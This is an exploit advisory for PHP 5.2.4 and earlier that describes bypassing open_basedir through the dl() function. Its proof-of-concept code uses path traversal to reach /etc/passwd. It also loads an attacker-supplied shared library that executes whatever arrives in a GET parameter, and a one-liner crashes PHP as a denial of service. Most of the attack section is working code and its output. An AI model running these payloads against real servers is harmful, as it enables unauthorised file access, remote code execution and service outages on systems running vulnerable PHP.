Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix
Bug: open_basedir bypass & code exec & denial of service/some people call this as a buffer overflow , but it's a denial of service./
special condition: default php-memory-limit

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits

1) Introduction

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug

open_basedir bypass & code exec & denial of service
http://ca.php.net/manual/fr/function.dl.php

3)Proof of concept

/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
*/

Proof of concept example :
/*enable by default in php.ini for php 5.2.x */

<?php
dl("…/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd")
output —>
Warning: dl() [function.dl]: Unable to load dynamic library './…/…/…/…/…/…/…/…/…/etc/passwd' - ./…/…/…/…/…/…/…/…/…/etc/passwd: invalid ELF header in /usr/local/apache2/htdocs/3.php on line 2

ya right … /etc/passwd dont have any ELF header .
but we agree that it's not checked in anyway by open_basedir.
fine then bypassed .
then :
<?php
dl("./…/…/…/…/…/…/…/…/…/…/…/home/myuser/www//my_powning_lib/pwned.so");
$a = powningfunction($_GET['lets_exec_for_fun']);
print_r($a);
?>

denial of service :
debian:/home/mwoa# php -r'dl(str_repeat("0",27999991));'
Erreur de segmentation
debian:/home/lorenzo#

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4)Greets

Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles

=====
5)Credits

laurent gaffiй
laurent.gaffiй@gmail.com
secorizon coming soon !